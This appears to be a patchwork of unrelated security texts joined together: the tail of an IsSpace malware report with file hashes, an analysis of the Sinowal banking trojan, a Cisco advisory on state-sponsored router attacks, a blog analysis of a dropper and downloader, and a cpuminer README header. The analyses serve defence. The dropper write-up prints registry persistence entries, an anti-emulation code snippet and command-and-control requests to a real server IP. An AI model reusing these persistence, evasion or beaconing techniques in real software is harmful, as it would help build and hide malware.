The geographic regions indicated in the WHOIS data are consistent with campaigns previously associated with NFlog, showing that the adversaries attributed to this malware were highly likely to be operating out of Southeast Asia. IsSpace is a newer variant of the NFlog malware family and contains many similarities in its behavior and code base. It is highly likely that adversary groups that have historically used NFlog are now using IsSpace.
## Conclusion
Adversaries continue to exploit easily accessible vulnerabilities and readily re-use exploit code and payloads, largely due to their efficacy. This type of behavior and activity is expected to continue for the near future due to the multiple vulnerabilities disclosed by the Hacking Team data breach.
As with many other previously disclosed advanced attacks, relying purely on a detection-based model for security is ineffective when IOCs are either unknown or are not readily available for ingestion. Thus, it is imperative that organizations deploy automated, behavior-based preventative measures such as Palo Alto Networks WildFire or Traps to reduce the risk of unknown attacks. Palo Alto Networks customers using WildFire are protected from this campaign. Additionally, IPS signature 14365 detects IsSpace command and control traffic inside a network.
## File Information
- **Name**: Rdws.exe
**MD5**: 319500B2C792AEE6CD8EF8EE87D9DC1E
**SHA1**: 723DB4F13E98364098D76B925EA197F9ECD5309B
**SHA256**: 27439ADAA07F5AD16EB8039C16ECEB4E71F6358E7FC13AC645E8878DA8C3E77E
**Size**: 59904 Bytes
**File Type**: PE32 executable (GUI) Intel 80386, for MS Windows
**Compile Timestamp**: 2014-11-14 04:35:13 UTC
- **Name**: FASAPI.bin
**MD5**: 10DBFB65836773567B466918250D7EF4
**SHA1**: 4330F5AD25980E0EBB0165F6B49727152735EF4A
**SHA256**: 25BA7D0399DDA177A2F35F2F5804BA54A272E43C192649339E5CBF8BD4EFA0E0
**Size**: 9216 Bytes
**File Type**: PE32+ executable (console) x86-64, for MS Windows
**Compile Timestamp**: 2014-05-06 13:23:38 UTC
- **Name**: FASAP.DAT (64-bit)
**MD5**: 7F1779F37F257006576B2D41919441EC
**SHA1**: 4AC396084E932733BB887B51FA5A5E489D9CB0EC
**SHA256**: 53EDFF51E0E52B2D1E8526FEA144E9EA923183C2CFECE8A87DDA92B8390651AF
**Size**: 4065 Bytes
**File Type**: Microsoft Cabinet archive data, 4065 bytes, 1 file
- **Name**: CryptBase.dll (64-bit)
**MD5**: 1F132F365E60CD43FFF75CD3CA464463
**SHA1**: 4DF97974B36ADADFDFDA44172484019AD2EDD649
**SHA256**: BDBD4974F872A6B62528F4F03C64D6CD9CF5E9352582F5AE242DC7F843A6FE55
**Size**: 9216 Bytes
**File Type**: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
**Compile Timestamp**: 2014-04-21 13:08:07 UTC
- **Name**: FASAP.DAT
**MD5**: D0D267D8CBBB7DBC59CFC68742FD0559
**SHA1**: 4586685CC724DEDFFB9C41F65B2DFFC7017F2970
**SHA256**: 05ACABAC8BCA04AC36FBD8B7DFBE21BDE720EBE82A6B642721114E7FBDA01BEA
**Size**: 3870 Bytes
**File Type**: Microsoft Cabinet archive data, 3870 bytes, 1 file
- **Name**: CryptBase.dll (64-bit)
**MD5**: BCDEC2A79EADF1DA2166BBB705A25AAE
**SHA1**: FD2CE90293CBB7CD28B42CE8FFB2CE5D95ED3260
**SHA256**: 052AAD8133E1FFC2863581DB33D366BA4180DFCF2E01ED7ACBEA4D53C355AB59
**Size**: 7680 Bytes
**File Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
**Compile Timestamp**: 2014-04-20 12:19:57 UTC |
# Sinowal Banking Trojan
**Author:** Chao Chen
**Date:** 2014-06-02
**Editor:** Martijn Grooten
## Abstract
With a modular architecture and sophisticated functionality, Sinowal is a multi-component banking trojan targeted at various web browsers, threatening users of online banking systems globally. This article delves into the inner workings of each component of this powerful malware.
Once considered one of the most malicious and advanced pieces of malware, Sinowal (a.k.a. Mebroot or Theola) has drawn the attention of security researchers and the public since 2006.
## Installation
The Sinowal installer (MD5: 7efc5e7452d98843b9ae4a2678d057ea) may arrive on a victim’s computer via various means, including drive-by downloads, spam attachments, and file-sharing networks. The infamous Blackhole exploit kit also served as a major vector of infection until last autumn.
The installer drops a dynamic-link library (DLL) onto the local hard disk. The DLL acts as a loader module, loading other components if they exist, and downloading a manager module that plays a central role in conducting banking fraud. The manager module downloads several plug-in modules from the C&C server, aimed at different target applications. These modules are used to steal sensitive information, including bank account details, email addresses, and FTP accounts. All plug-in modules contact the manager module through a named pipe, while the manager module communicates directly with the C&C server, uploading stolen information, reporting the local status of the trojan, and downloading configuration and plug-in modules, as well as script commands for the plug-in modules to run.
## Loader Module
The loader module is named ‘mini’ on 32-bit systems and ‘mi64’ on 64-bit systems. Each of Sinowal’s modules has a different 32-bit and 64-bit version.
After being dropped and decoded by the installer, the loader module is loaded with the fdwReason parameter of the EntryPoint function set to 0xFEFEFEEE, indicating that this is the first time it has run. The DllRegisterServer function will be called later to perform the following tasks:
1. Write the image of the loader module to the file ‘%SystemDrive%\Documents and Settings\All Users\Application Data\{Random Number}\{Filename}.dll’ on the hard disk. Here, {Random Number} is determined by calling the GetTickCount API, and {Filename} is chosen from a given group based on the creation time of SystemRoot.
2. Keep uploading local information to the C&C server. The URL of the C&C server is hard-coded in the loader module’s binary. The information uploaded is an encrypted list of numbers, each representing a special event that has taken place on the compromised machine.
3. Execute the command ‘regsvr32.exe /s {Path of Loader Module}’, which will cause the loader module to run in the regsvr32.exe process.
## Download Manager Module
Running in the regsvr32.exe process, the loader module will check the fdwReason parameter of the EntryPoint function. This time, the value of fdwReason is DLL_PROCESS_ATTACH. The hash of the name of the current process will be calculated and compared against a set of hashes that represent particular processes.
Some useful hash values and their corresponding filenames are:
- 0x56C00521: ‘explorer.exe’
- 0x58AF052E: ‘regsvr32.exe’
- 0xAAFF04C6: ‘sysprep.exe’
- 0x54E50518: ‘iexplore.exe’
- 0xAC0104A3: ‘firefox.exe’
- 0xD4C0042E: 'chrome.exe'
The main work in the regsvr32.exe process can be divided into three parts:
1. Download the manager module via the routine used for uploading the event list. An encrypted list of running processes and installed software is sent to the C&C server, which replies with the XTEA-encrypted manager module. The downloaded manager module will be decrypted with the key ‘HONNJCUPKFVBBYCC’.
2. Make the registry value ‘HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad’ point to the path of the loader module and add the path of the loader module to the registry value ‘HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs’.
3. Inject a piece of code into the explorer.exe process to load the loader module.
## Start Manager Module
Once the loader module is loaded in the explorer.exe process, it will realize that Explorer has become its host process. It will retrieve the encrypted manager module from the hard disk and decrypt it with a key generated based on the SystemRoot creation time. The EntryPoint and Initialize functions of the manager module will be invoked in sequence so that the manager module can work in the Explorer process.
## Record Browser Information
If the loader module is loaded in a process of iexplore.exe, firefox.exe, or chrome.exe, it will record some information in the registry key ‘HKCU\Software\Microsoft\Notepad’ or, if that fails, ‘HKCU\Software\AppDataLow’. The value ‘LastMsg’ is set to the number of browser processes that have been injected by the loader module.
## Beef File
If the loader module is loaded in the Explorer process or any other user-mode process, it will search for a special file from the folder containing the loader module. The file is XTEA-encrypted, and its first double-word after decryption should be 0xBEEFBEEF.
## Module Life Cycle
When the manager module or a plug-in module from the beef file is loaded into a process by a copy of the loader module injected into the same process, the EntryPoint function and its initialization will be invoked by the loader module.
When the manager module or plug-in module finishes its work, its Deinitialize function will be invoked by the loader module. After that, the loader module will unload itself by calling the FreeLibrary API and then reload itself by calling the LoadLibraryA API with the path of the loader binary on disk as the parameter.
## Anti-Trusteer Rapport
As an advanced banking trojan, Sinowal is equipped with a weapon to defeat Trusteer Rapport, a security tool used to prevent phishing and man-in-the-browser attacks. If Trusteer Rapport is found to be installed on the compromised machine, the following actions will be taken by the loader module running in a browser process:
1. Suspend all threads belonging to the Trusteer Rapport module in the browser process.
2. Recover APIs in various DLLs from binary files on disk.
3. Hook the NtCreateThread and NtCreateThreadEx APIs to abort threads created by Trusteer Rapport.
4. If the top-level exception filter is in the Trusteer Rapport module, replace it with UnhandledExceptionFilter.
## Manager Module
The manager module downloaded by the loader module plays a central role in the malware’s activity. It will download plug-in modules and configuration data from the C&C server for stealing information such as bank accounts.
## Time-based DGA for C&C Server
Unlike the hard-coded C&C server URL used for downloading the manager module, the C&C server domains for downloading configuration data and plug-in modules are obtained through a DGA (Domain Generation Algorithm) based on the current date and time.
## Register Bot with C&C Server
To register the compromised machine with the C&C server, encrypted local information, including the IP address table, is uploaded.
## Download Plug-in Modules and Configuration
Plug-in modules and configuration data are downloaded using the same encryption scheme. The configuration contains thousands of URLs belonging to online banks and e-commerce services around the world.
## Pipe Communication
The manager module creates a named pipe through which it exchanges data and scripts with the plug-in modules.
## Banking Fraud for Internet Explorer
A plug-in module named ‘Iecl.dll’ is injected into the iexplore.exe process to perform banking fraud. The main functionality of this module is to steal sensitive information such as login and password details of compromised users for online banks and e-commerce sites.
## Monitoring and Responding to Web Browser Events
The Iecl module will enumerate all running instances of Internet Explorer (IE). For each IE browser object, a property named ‘__BRCL__’ is created and set as a string generated from the GetTickCount API.
## Stealing Sensitive Form Information
The Invoke method of the IDispatch object for DIID_HTMLDocumentEvents2 and DIID_HTMLTextContainerEvents2 will find all form elements on a web page and monitor the content and submission of each form.
## Custom Script Engine
When the state of an HTML document changes, the Iecl module reports the current URL and HTML document state to the C&C server and receives a custom script to execute.
## Banking Fraud for Google Chrome
For the Google Chrome browser, a plug-in module named ‘CrclReg.dll’ is downloaded and injected into all running chrome.exe processes.
## Monitoring Web Activities
In the exported NP_GetEntryPoints function of Crcl.dll, a set of NPAPI functions are provided for the browser to invoke at the appropriate time.
## Grab Form Content
The NPP_GetValue function creates a ScriptableNPObject to receive and execute the script from the browser.
## Banking Fraud for Mozilla Firefox
The module for conducting banking fraud in Firefox, named ‘Ffcl.dll’, is similar to Iecl.dll in its code architecture.
## Sniffer Module
A module named ‘gbsniffer.dll’ is employed to sniff network data and to harvest email addresses from POP3/SMTP traffic and the usernames/passwords of FTP client applications installed on the compromised machine.
## Conclusion
Sinowal has become a persistent trojan by continuously upgrading its capabilities, including multi-stage injection, time-based DGA, a complex encryption scheme, and plug-in modules aimed at different kinds of browsers. Enormous economic losses affecting both individuals and institutions have been seen during the long evolution of this malware family. It is now time for the security community to launch a campaign to put an end to the Sinowal story. |
# State-sponsored Campaigns Target Global Network Infrastructure
**By Matt Olney**
**April 18, 2023**
Cisco is deeply concerned by an increase in the rate of high-sophistication attacks on network infrastructure, corroborated by numerous reports from various intelligence organizations, indicating state-sponsored actors are targeting routers and firewalls globally. We have spoken about infrastructure security for a long time. However, while working with network infrastructure in various parts of the world, we have observed both espionage and obvious targeting to support future destructive attacks. While working with our partners, we have experienced operational barriers that slow and sometimes stop security teams from properly securing network infrastructure. In this report, we are sharing our observations of top-tier attackers and their activities on network devices, along with recommendations and resources to help improve your network infrastructure resilience.
## Background
Recently, the UK’s National Cyber Security Centre (NCSC) released a report on a sustained campaign by a Russian intelligence agency targeting a vulnerability in routers that Cisco had published a patch for in 2017. This campaign, dubbed "Jaguar Tooth," exemplifies a broader trend of sophisticated adversaries targeting networking infrastructure to advance espionage objectives or pre-position for future destructive activity. While infrastructure of all types has been observed under attack, attackers have been particularly successful in compromising infrastructure with out-of-date software.
Due to the large presence of Cisco network infrastructure worldwide, any sustained attack against network infrastructure would likely target Cisco equipment, but attacks are not limited to Cisco hardware. In reporting on Russian intelligence contracting documents, it was shown that any infrastructure brand would be targeted, with one scanning component targeting almost 20 different router and switch manufacturers. In 2018, Talos investigated the VPNFilter threat, believed to be of Russian origin, which showed a well-developed capability targeting Asus, Huawei, Linksys, MikroTik, Netgear, QNAP, TP-LINK, Ubiquiti, and Upvel devices.
Russia is not alone in its actions. CISA has reported on Chinese adversaries targeting network equipment from a similarly broad set of manufacturers. It is reasonable to conclude that any sufficiently capable national intelligence operation would develop and use the capability to compromise the communications infrastructure of their preferred targets.
Talos investigations are consistent with these findings. We have observed traffic manipulation, traffic copying, hidden configurations, router malware, infrastructure reconnaissance, and active weakening of defenses by adversaries operating on networking equipment. Given the variety of activities we have seen adversaries engage in, they have shown a very high level of comfort and expertise working within the confines of compromised networking equipment.
Our assessment is clear: national intelligence agencies and state-sponsored actors across the globe have attacked network infrastructure as a primary target. Route/switch devices are stable, infrequently examined from a security perspective, often poorly patched, and provide deep network visibility. They are the perfect target for an adversary looking to be both quiet and have access to important intelligence capabilities as well as a foothold in a preferred network.
## Campaign Observations
We’d like to share a non-exhaustive list of the sorts of activities we have observed actors take on various infrastructure devices. Our analysis indicates that these actors were either engaging in espionage or establishing a foothold for follow-on actions in support of various strategic goals, which may include destructive attacks. The following actor behaviors have been observed across different infrastructure platforms at critical infrastructure facilities:
- The creation of Generic Router Encapsulation (GRE) tunnels and hijacking of DNS traffic, allowing the actor to observe and control DNS resolution.
- Modifying memory to reintroduce vulnerabilities that had been patched, providing a secondary path to access.
- Modification of configurations to move the compromised device into a compromised state, allowing the actor to execute additional exploits for further access.
- Installation of malicious software into an infrastructure device that provides additional capabilities, including:
- Masking of certain configurations so they can’t be shown by normal commands.
- Bypassing of ACLs so traffic can’t be blocked properly by the router.
- Allowing authenticated access to devices outside of normal SSH/Telnet methods.
- Modular design allowing for easy updates as new capabilities are needed or developed.
- Capability to corrupt and disable the infrastructure device.
- Redirection of actor-defined traffic to actor-controlled infrastructure.
- Creation of hub-and-spoke VPNs designed to siphon targeted traffic from network segments of interest through the VPN.
- Capture of network traffic for future retrieval, frequently limited to specific IPs or protocols.
- A variety of logic to enable and disable certain capabilities in network packets.
- Use of infrastructure devices to deliver attacks or maintain C2 in various campaigns.
Additionally, we have seen traditional enterprise attacks explicitly targeting environments that support infrastructure devices such as TACACS+ servers, enterprise management servers, and jump hosts. We have also observed espionage activity on enterprise networks specifically searching for network data such as credentials, network diagrams, contracts with network customers, and configuration information.
In short, there are extremely sophisticated actors increasingly targeting network infrastructure devices from various manufacturers. Insufficient awareness and patching, reliance on end-of-life equipment, and the necessity for always-on connectivity make too many infrastructure devices easy prey. The results of these issues range from being unwitting participants in criminal activity to events of true national security impact.
## Guard the Credentials
The Jaguar Tooth attacks are a sequence of attacks, the first of which looks for poorly selected SNMP community strings. Once a community string is found, the attacker exploits CVE-2017-6742, which was first announced on June 29, 2017, after which a software patch was made available to all customers. However, even unpatched, a well-selected SNMP community string can stop this attack. It should also be noted that if you are not using SNMP v3, even well-chosen credentials are transmitted in the clear and are subject to capture. NETCONF (Network Configuration Protocol) and RESTCONF are modern network management protocols designed to offer better security and functionality than their older counterpart, SNMP. NETCONF typically runs over SSH, while RESTCONF runs over HTTPS. Both SSH and HTTPS provide strong encryption and secure authentication mechanisms, ensuring the confidentiality, integrity, and authenticity of the data being exchanged. SNMP, particularly its older versions (v1 and v2c), lacks proper encryption and authentication, making it more vulnerable to cyber attacks.
In other incidents, we have observed well-positioned adversaries with preexisting access to internal environments targeting TACACS+/RADIUS servers to obtain credentials. This gives them the benefit of understanding the controls enforced by the credential server, as well as allowing their traffic to appear “normal” by using jump servers and employing other techniques that a typical network administrator would use.
Many of the exploits we’ve seen used in the wild are post-compromise exploits, meaning the attacker had some form of credential to get them to the place where they could then launch the exploit and gain deeper access to the device. Our recommendations are to select complex passwords and community strings, utilize multifactor authentication where possible, require encryption when configuring and monitoring devices, and lockdown and aggressively monitor credential systems like TACACS+ and any jump hosts.
## Stay Modern, Stay Real
Network infrastructure is built to last, and in today’s always-on world, it’s sometimes impossible to find a patch window. However, recent reports and our investigations show that it is critical to update both the hardware and software that runs your network. This is true not just because patching eliminates known vulnerabilities, but upgrades also introduce new security capabilities and controls that weren’t previously available.
Cisco has introduced several technologies and protocols over time that have improved the security of its products. Some of these advances can be obtained by software upgrades, while others require more modern networking equipment. For example, to combat certain supply chain attacks, Cisco has introduced a series of technologies, including hardware improvements such as the Trust Anchor Module and software changes like Secure Boot. Organizations that fail to update their hardware and software will be more likely to be victims of unpatched security vulnerabilities and will have fewer tools to combat adversaries.
## Know Your World and Enforce It
An organization that understands the configurations it is running and monitors for departures from that understanding has a high probability of discovering adversaries early in the campaign. For example, an unauthorized GRE tunnel or static VPN, discovered by NetFlow analysis, would be grounds for an investigation. Additionally, monitoring for connections to edge routers from unknown external IPs would uncover some of the activity we’ve observed. Basic configuration monitoring and alerting on modifications would help in many cases.
Authentication, authorization, and accounting (AAA) tools are another area where policy enforcement can be useful. We’ve seen actors take unusual actions on routers that would show up in AAA logs and ideally could be denied by the correct AAA configuration. For example, attempts to suppress logging by issuing “no aaa accounting” configuration commands should be logged and denied by the AAA system.
Asking organizations to monitor their environment for unusual changes in behavior or configurations is one of the hardest recommendations we are making. It will take a combination of a well-documented network infrastructure environment, network engineering, and talented security operations to build a monitoring environment tuned to your implementation. While many technologies can support you, the excellence of your network engineering and security team, and their willingness to collaborate, will be a large factor in your success.
## If You Need Us, Call Us
Responding to incidents involving specialized hardware can be challenging. If you suspect that a Cisco product has been compromised, please reach out to TAC for assistance. If you suspect there is a vulnerability in a Cisco product, please reach out to PSIRT.
## TL;DR Recommendations
- Select complex passwords and community strings; avoid default credentials.
- Use multi-factor authentication.
- Encrypt all monitoring and configuration traffic (SNMPv3, HTTPS, SSH, NETCONF, RESTCONF).
- Lockdown and aggressively monitor credential systems like TACACS+ and any jump hosts.
- Do not run end-of-life hardware and software.
- Maintain current software.
- Utilize AAA to deny configuration changes of key protections.
- Monitor syslog and AAA logs for unusual activities.
- Monitor your environment for unusual changes in behavior or configuration.
- Contact Cisco TAC or PSIRT if you need assistance with a security incident involving Cisco products.
## Conclusion
If your network isn’t secure, then nothing on that network can be properly secured. We know that there are myriad operational realities that make it difficult to maintain a fully defensible network infrastructure. However, given the risks and outcomes that compromised network infrastructure brings, these obstacles must be overcome for organizations to truly secure their environment. Aging infrastructure is a risk. Relying on out-of-date gear or utilizing out-of-date protocols and technologies will eventually cost your organization. Work with your vendor to give yourself the best chance of defending your environment. |
# Disclosure of Another 0day Malware - Initial Dropper and Downloader (Part 1)
In this series, I have analyzed an interesting malware that combines various techniques I haven't seen before. Part 1 of this series deals with the initial Dropper and the Downloader, which both come in the form of a Dynamic Link Library (.dll). The initial Dropper drops and executes the Downloader (netids.dll). Part 2 deals with the downloaded file, which is just another Dropper (msmvs.exe). This Dropper drops a .dll (conhost.dll) which in turn drops the final Payload (also .dll). Part 3 deals with the final Payload (netui.dll). Note: Due to lack of time (and interest), I haven't completely analyzed the final Payload.
## Overview of the Malware Components
I don't know how the initial Dropper will be delivered to the victim, because a .dll in some way has to be loaded (Export function call, rundll32.exe, ...). Some reports on ThreatExpert indicate that the Dropper is executed with the help of an exploit (Adobe Acrobat, Microsoft Word). Maybe the malware is used for a targeted attack in a spearfishing campaign. I also found a Symantec report from 2011 mentioning some behaviors of the .dll, but it seems the one I have analyzed is a newer version of the malware family.
### What Makes This Malware Interesting:
- It makes use of an unknown (AV) Anti-Emulation technique
- Contains Anti-Debugging and Anti-Reversing techniques
- Suspicious strings and the payloads are encrypted
- Suspicious Windows API functions are dynamically resolved
- Downloader and final Payload are (also) implemented as a Windows Service
- Uses multiple encryption techniques (e.g. RC5/6)
- Uses the "Common Gateway Interface" (cgi) for data transfers
- Supports Unicode encoding
The malware was coded in C/C++ programming language with inline Assembly, is written very well, uses several "advanced" encryption schemes (compared to the usual suspects), and the hardcoded IP addresses to the Servers lead, among others, to hosting providers in Panama.
Because the malware is designed to look as legit as possible, the detection rates at the time of this writing (2 months ago) are very low. The Dropper is detected by only 2/43 AV engines and the Downloader by only 4/43:
**(Initial) Dropper**
- Sample: sample.dll
- Size: 41,472 Bytes
- Timestamp: 19.07.2012 10:15:53
- MD5: D4E99548832B6999F00E8D223C6FABBD
**Downloader**
- Sample: netids.dll
- Size: 11,776 Bytes
- Timestamp: 17.05.2012 08:24:42
- MD5: CCAB60D3B6AA5FA0C23A5AE59EABCF54
## The Initial Dropper
So let's start to examine the initial Dropper. A view with a Hexeditor shows the Rich Header, so a Microsoft Compiler was used to build the .dll. We also see a lot of C++ runtime strings and messages which show the file was coded in C/C++. Thereafter we see the Import Table with some interesting API functions, e.g. for creating a Windows Service (OpenSCManager, CreateService, ...). There follows the export information with only one function ("Start"). At last, we can see some Unicode strings which are later used for Service creation:
- Network Identification Service
- ntsvcs
- software\microsoft\windowsnt\currentversion\svchost
- ServiceDllUnloadOnStop
- ServiceDll
- parameters
- system\currentcontrolset\services\Network Identification Service
- CoInitializeSecurityParam
- software\microsoft\windows nt\currentversion\svchost\ntsvcs
- Service for network identification control data\svchost.exe -k ntsvcs
After viewing the hexadecimal output, we open our Resource-Editor and see the only resource is "B" -> "284". The resource's size is 11,776 Bytes and looks like random data.
Let's start to do a further analysis and take a look into the code of this malware. We open up IDA Pro, load the .dll, and land in the DllMain routine. If we take a look at the "Exports," we see, beside the DllEntryPoint function (which every Dll has, because of the needed Entrypoint), the only exported function is "Start." But before we examine this routine, let's take a quick look at the "Functions." We see a lot of C++ runtime functions, a few Windows API functions, and two functions which look like Entrypoints (DllEntrypoint, DllMain).
A .dll built with a Microsoft C++ compiler and the C/C++ run-time library looks like it has 2 "Entrypoints." The function _DllMainCRTStartup (in IDA Pro named DllEntrypoint) does some internal runtime stuff and calls DllMain. So we can skip the DllEntrypoint function and take a look into DllMain. The only interesting operation in DllMain is the storage of the handle to the DLL module in a global variable for later use. Now let's take a look into the Start() function.
At the beginning, two MMX instructions (movd, pslld) are executed to throw out AntiVirus Emulators:
```
mov [ebp+var_20], 54AF97E1h
movd mm0, [ebp+var_20]
pslld mm0, 2
movd [ebp+var_20], mm0
```
An exception, which occurs if these instructions aren't handled correctly, is caught by the malware and the .dll exits without doing anything. Next, a function is called which decrypts a bunch of strings, .dll names, and function names in the .data section which are then used for subsequent operations.
With the help of LoadLibrary() and GetProcAddress(), some of the decrypted API functions then get dynamically resolved. Thereafter, the malware gets the OS version (MajorVersion, MinorVersion) and stores it for the installation part. Then the resource section is loaded into memory and decrypted with the same decryption routine as before. Now we can see the resource section is another PE file (the Downloader). There follows the installation of the decrypted PE file.
### Installation Process
The installation part first looks for the file time of "els.dll" (Windows Event Viewer Snapin) which resides in Windows's system folder (Windows XP SP3) and stores it. If the file "els.dll" isn't found, the malware acquires the system time and converts it to file time format (SystemTimeToFileTime()). Thereafter it checks on which Windows OS version it is executed and acts accordingly:
**Windows prior to Vista (e.g. Windows XP)**
- The decrypted file from the resource section (Downloader) is written to the system directory as "netids.dll."
- The file's time is set to one of the above received times.
- To ensure startup persistency on the system, the malware creates the Windows Service "Network Identification Service" (Description: "Service for network identification control data") with binary path "C:\WINDOWS\system32\svchost.exe -k ntsvcs."
- Then it registers the Windows Service "ntsvcs" in the Service Control Manager (SCM) database by creating the following registry keys:
```
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\svchost\ntsvcs
|-> CoInitializeSecurityParam = 0x00000001
HKEY_LOCAL_MACHINE\system\currentcontrolset\services\Network Identification Service
|-> parameters
Value: ServiceDll = C:\WINDOWS\system32\netids.dll
Value: ServiceDllUnloadOnStop = 0x00000001
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\svchost\ntsvcs
Value: ntsvcs = Network Identification Service
```
This way, the malware looks like a legit application and it kills two birds with one stone. By indirectly injecting the dll into SvcHost, the binary path of the Windows Service "Network Identification Service" just shows "C:\WINDOWS\system32\svchost.exe -k ntsvcs," nothing that looks suspicious at first. And by using the svchost.exe process for sending all the network traffic, it doesn't look suspicious at first as well, because svchost.exe normally produces network traffic. Also, svchost.exe is often a trusted process in desktop firewall rules, so it should bypass most of them.
If for some reason the above registry creations are failing, the malware creates a COM object and registers it in the shell:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0B115951-84FD-43E7-A2D8-F3C4D36F4BEA}
|-> InProcServer32 = C:\WINDOWS\system32\netids.dll
Value: ThreadingModel = Apartment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
Value: NetIDS = {0B115951-84FD-43E7-A2D8-F3C4D36F4BEA}
```
Choosing this way, the malware is started by Explorer.exe on Windows startup, because Explorer.exe is the shell for Windows.
**Windows Vista and above (e.g. Windows 7)**
- The file's installation folder is obtained with the help of SHGetFolderPath() function (CSIDL_FLAG_CREATE + CSIDL_LOCAL_APPDATA).
- Into this hidden folder (C:\Documents and Settings\<User>\Local Settings\Application Data), the file "netids.dll" is written and then the following registry key is created to ensure startup persistency when the user logs in:
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Value: NetIDS = RUNDLL32.EXE "C:\Documents and Settings\<User>\Local Settings\Application Data\netids.dll",Init1
```
That's the whole functionality of the Dropper, so let's move on to the Downloader.
## The Downloader (netids.dll)
According to which startup/installation method is used, the Downloader starts in different ways. We can summarize the "Explorer.exe" and "Windows Vista and above" startup routines into one description, because the exported function "Init1," which is called on "Windows Vista and above" startup method, just waits for completion of DllMain() function (WaitForSingleObject()).
### DllMain() Startup Method
This method decrypts strings, function names, and .dll names as we saw in the initial Dropper for subsequent use. The decryption routine is different than the one used in the initial Dropper. With the decrypted function and .dll names, the malware then resolves some API function addresses and uses it to create the main Thread.
### ServiceMain() Startup Method
Starts with the registration of the Service Control Handler (RegisterServiceCtrlHandlerEx()). The Service Control Handler handles SERVICE_CONTROL_STOP, SERVICE_CONTROL_INTERROGATE, and SERVICE_CONTROL_SHUTDOWN control codes and sets the appropriate elements of SERVICE_STATUS structure (SetServiceStatus()). Then it also creates the main Thread and executes it.
### Main Thread
The main Thread first calls the same Anti Emulation technique as the initial Dropper. Thereafter, a bunch of API function addresses are resolved with the help of LoadLibrary() and GetProcAddress(). To decrypt additional data, the decryption function is called another time. Now the malware gets the Volume Serial Number, the Computer Name, the OS Version (Major, Minor) and stores it in a string of the following format for later use:
```
<ComputerName><VolumeSerialNumber>-<OSMajorVersion>_<OSMinorVersion>
```
Next, a sub-Thread is created which handles the main tasks of the malware. There follows the sending of an initialization message to the Server with content "T0s=" (Base64 encoded "OK" string) in the following format:
```
POST /~wong/cgi-bin/brvc.cgi?<ComputerName><VolumeSerialNumber>-<OSMajorVersion>_<OSMinorVersion>
```
The "brvc.cgi" script/program is used for processing status messages. If for some reason the sending of the initialization message failed, the main Thread sleeps for 5 minutes and then tries again to send the message. As you can see, the message is sent with HTTP POST request method and is Base64 encrypted with the help of CryptBinaryToString() function. For network communication, the Downloader uses the "Common Gateway Interface."
### Sub-Thread
At first, it checks if a network connection is available (InternetGetConnectedState()). If this is the case, it connects to the Server 200.106.145.122 (InternetOpen() + InternetConnect()) with User-Agent "MSIE 8.0."
#### Network Traffic Analysis
Contacting 200.106.145.122:
```
GET /~wong/cgi-bin/sptr.cgi?<ComputerName><VolumeSerialNumber>-<OSMajorVersion>_<OSMinorVersion>
User-Agent: MSIE 8.0
Source Port: 1027
-> HTTP 200 OK
```
The Downloader sends 3 HTTP GET requests to the Server to query any data available. The request has the following form:
```
GET /~wong/cgi-bin/sptr.cgi?<ComputerName><VolumeSerialNumber>-<OSMajorVersion>_<OSMinorVersion>
```
The "sptr.cgi" script/program is used for initializing a transmission of encrypted data (strings or PE file). After the third request, a HTTP 200 OK response with a string is sent back to the Downloader.
During the 3 requests, the Thread sleeps for 5 minutes and then again contacts the Server. The string from the response is then used to build the next HTTP GET request:
Contacting 200.106.145.122:
```
GET /~wong/cgi-bin/qfa.cgi?20121009_12:33:12.bin.<ComputerName><VolumeSerialNumber>-<OSMajorVersion>_<OSMinorVersion>
User-Agent: MSIE 8.0
Source Port: 1030
-> HTTP 200 OK
```
The "qfa.cgi" script/program processes all file queries and sends a HTTP 200 OK response with Base64 encoded and encrypted data. The data then gets decrypted in memory and used for the subsequent HTTP requests.
After the file is decrypted, the installation procedure begins by comparing the sent string "FFFFFFFFFS" with the hardcoded string "FFFFFFFFFX." If they match, the downloaded and decrypted file is executed in memory without touching the disk. This is done by changing the file's access protection attributes of committed pages in virtual address space to PAGE_EXECUTE_READWRITE (VirtualProtect()) so it can be executed as a new Thread (CreateThread()). If they don't match, the file is written to disk as "msmvs.exe" (CreateFile() + WriteFile()), executed (CreateProcess()), and finally deleted (DeleteFile()).
At last, two status messages are sent again by using HTTP POST method to the script/program "brvc.cgi":
Contacting 200.106.145.122:
```
POST /~wong/cgi-bin/brvc.cgi?<ComputerName><VolumeSerialNumber>-<OSMajorVersion>_<OSMinorVersion>
User-Agent: MSIE 8.0
Source Port: 1034
Data: aW5zOjAwMDAwMDAw (Base64 -> "ins:00000000")
-> HTTP 200 OK
```
The string "ins:00000000" tells the malware guy(s) that the execution/installation of the downloaded file was successful without any errors.
That's it. We have analyzed the functionality of the initial Dropper and the Downloader. In the next Part, we examine the downloaded file (another Dropper) and the dropped file (yet another Dropper).
## Appendix
**Whois for 200.106.145.122:**
- IP location: Panama
- Hosting: Panama
- ASN: AS27990
- IP Address: 200.106.145.122
- NetRange: 200.0.0.0 - 200.255.255.255
- CIDR: 200.0.0.0/8
- OriginAS:
- NetName: LACNIC-200
- NetHandle: NET-200-0-0-0-1
- Parent:
- NetType: Allocated to LACNIC
- Comment: This IP address range is under LACNIC responsibility for further allocations to users in LACNIC region.
- RegDate: 2002-07-27
- Updated: 2010-07-21
- Ref: http://whois.arin.net/rest/net/NET-200-0-0-0-1
- OrgName: Latin American and Caribbean IP address Regional Registry
- OrgId: LACNIC
- Address: Rambla Republica de Mexico 6125
- City: Montevideo
- Country: UY
- RegDate: 2002-07-27
- Updated: 2011-09-24
- Ref: http://whois.arin.net/rest/org/LACNIC |
# pooler/cpuminer: CPU miner for Litecoin and Bitcoin
This is a multi-threaded CPU miner for Litecoin and Bitcoin, fork of Jeff Garzik's reference cpuminer.
License: GPLv2. See COPYING for details.
Downloads: https://sourceforge.net/projects/cpuminer/files/
Git tree: https://github.com/pooler/cpuminer
## Dependencies:
- libcurl
- jansson (jansson is included in-tree)
